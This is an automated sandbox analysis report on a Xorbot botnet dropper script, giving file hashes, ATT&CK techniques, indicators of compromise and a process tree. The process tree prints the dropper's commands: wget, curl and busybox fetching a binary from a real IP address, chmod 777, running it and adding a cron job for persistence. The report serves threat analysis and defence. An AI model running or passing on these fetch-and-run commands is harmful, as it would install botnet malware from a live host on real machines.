xorbot | e75e254332c4d92525192f7fa2a0734b068e2e3e6a6878feb41ada773de6ada5

Analysis

max time kernel
149s
max time network
142s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
01-12-2024 20:18

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General

Target

bins.sh
Size

10KB
MD5

bc7b6cc669c02f1b68444287a7bfa167
SHA1

63f8dc11fc9104552991cb85032f5a929b7321ba
SHA256

e75e254332c4d92525192f7fa2a0734b068e2e3e6a6878feb41ada773de6ada5
SHA512

46744e2e1d1cf25913777f3bbc3e85e4a303db758e4dfd7e9d9e679aee0d08ba2b205fcdb839d37b6933aaa5d7d7b81aa52e257aaeb1400b2b105218d1ad75b2
SSDEEP

192:e+b+H+f+O+++61RBogpdtREsk92oA4txZ1dVZBa6rvcoU6/n+1RBogjtRE/7+b+o:ecE+3T3dtREso11rvcoU6/n+tREDcE+N

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (1517) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmod

pid	Process
1513	chmod

Executes dropped EXE 1 IoCs

Processes:

UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w

ioc	pid	Process
/tmp/UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w	1514	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w

Renames itself 1 IoCs

Processes:

UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w

pid	Process
1515	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.6fQecw	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w

description	ioc	Process
File opened for reading	/proc/1497/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/28/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/130/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/355/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/1476/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/1620/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/171/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/436/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/446/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/1305/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/1660/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/10/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/207/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/1289/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/1578/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/1588/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/1596/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/1604/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/1657/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/164/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/273/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/1073/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/1123/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/1536/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/1629/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/494/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/710/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/1090/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/1530/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/1549/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/11/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/92/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/476/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/1139/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/1594/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/1608/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/1609/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/662/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/1538/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/1541/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/1560/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/1647/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/1649/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/31/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/882/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/1524/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/18/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/25/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/167/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/1043/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/1597/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/166/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/431/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/672/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/959/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/1592/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/19/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/636/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/1533/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/1534/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/1148/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/1577/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/1633/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
File opened for reading	/proc/15/cmdline	UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

Processes:

busyboxwgetcurl

description	ioc	Process
File opened for modification	/tmp/UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w	busybox
File opened for modification	/tmp/UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w	wget
File opened for modification	/tmp/UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1497
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1498
- /usr/bin/wget
  wget http://216.126.231.240/bins/UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
  2⤵
  - Writes file to tmp directory
  PID:1499
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
  2⤵
  - Writes file to tmp directory
  PID:1503
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
  2⤵
  - Writes file to tmp directory
  PID:1511
- /bin/chmod
  chmod 777 UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
  2⤵
  - File and Directory Permissions Modification
  PID:1513
- /tmp/UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
  ./UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1514
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1516
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1517
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1518
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1519
- /bin/rm
  rm UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
  2⤵
  PID:1521
- /usr/bin/wget
  wget http://216.126.231.240/bins/BFJMF6ZGI1Yc76ZQHdl9ds8OWwUZvBa6Gw
  2⤵
  PID:1524
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/BFJMF6ZGI1Yc76ZQHdl9ds8OWwUZvBa6Gw
  2⤵
  PID:1525

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/var/spool/cron/crontabs/tmp.6fQecw

Filesize
210B

MD5
5df02971b8801ec7d347e7b3f04f4ff5

SHA1
c1ea169a70a55d6cdd5aaed1be06f6cbfa245388

SHA256
ce4b22f719d50cf2ea31dc68ca7c6d95a804691a843420a8b5d9844c43c77895

SHA512
f653bdb1307dc128c7c4f8dd33477e7bb0250d21ee10ce2818d61e3351fa7c812dcb95f02371f45778fa1938982284591548ef0623550a7aed62d9713dca4bad

Download Submit